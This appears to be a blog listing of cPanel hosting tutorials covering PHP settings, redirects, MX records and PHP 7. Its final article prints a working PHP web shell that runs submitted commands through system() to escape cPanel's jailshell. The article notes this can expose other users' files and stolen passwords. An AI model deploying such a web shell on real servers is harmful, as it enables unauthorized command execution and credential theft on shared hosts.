Image

cPanel

How to increase memory limit for PHP in cPanel

By  •  cPanel

PHP allocates a certain amount of memory when executing your PHP scripts. Your PHP script will exit and throws a fatal error if it has exhausted all the allocated …
Read More

How to enable and disable PHP modules in cPanel

By  •  cPanel

PHP is a modular system where you can install and enable new modules to provide extra functionalities. These modules or extensions can also be disabled to enhance PHP's performance …
Read More

How to redirect naked domain to www in cPanel

By  •  cPanel

Naked domain (also called bare or non-www domain) is a domain name without the preceding www. Non-www domain is normally preferred because it's shorter but www domain is still …
Read More

How to configure MX records in cPanel

By  •  cPanel

cPanel account normally comes packaged with mail server, and the Mail Exchanger or MX record for the account's domain is set to the cPanel's host. You need to change …
Read More

How to use PHP 7 in cPanel hosting

By  •  cPanel

cPanel ships with PHP 7, but PHP 5 is still used by default instead. Even if you don’t use PHP 7 specific functions, the performance benefit that PHP 7 brings is a good enough reason to switch. This is especially important in shared hosting such as cPanel as performance is especially lacking.

Make sure your application is compatible with PHP 7 before making the switch.

To start using PHP 7 within your cPanel hosting, log in to cPanel and follow these steps;

  1. Go to the Software section and click on Select PHP Version.
  2. Here you’ll see the PHP version used for your cPanel hosting. Click on the select box, and choose 7.0 or whatever latest version of PHP version available.
  3. Click Set as current for the changes to be effective, and notice Current PHP version in the example is now 7.0.
  4. Check your current PHP version to confirm.

    How to check installed PHP version

How to bypass cPanel Jailshell using PHP

By  •  cPanel

Users registering for shared Linux webhosting accounts are normally not provided with shell access. Even if they do, what they can do with the shell is limited, as they are only in a jailed environment, thanks to cPanel’s jailshell. Displaying the SHELL variable at the command prompt verifies this; 

$ echo $SHELL
/usr/local/cpanel/bin/jailshell

To briefly show what it means, listing out home directories using the following Linux command reveals that the user is alone in the shell. 

$ ls /home/ | wc -l
1

With some simple HTML and PHP, a web based shell can offer something more to the users. The following code can be made available through http://www.anyserver.com/jailshell.php; 

<html>
  <body>
    <p>Enter command:
      <form action="jailshell.php" method=post>
      <input type=text name=command>
      <input type=submit name=submit>
      </form>
    </p>
    <pre>
      <?php system ($_POST['command']); ?>
    </pre>
  </body>
</html>

and executing some simple commands as the following shows what it’s capable of.

People with malicious intent can use this method to search other user’s home directories and grep into their web application’s configuration file to steal passwords and other juicy informations.

Most hosting providers already disable system() and other similar functions in their PHP implementation.

Top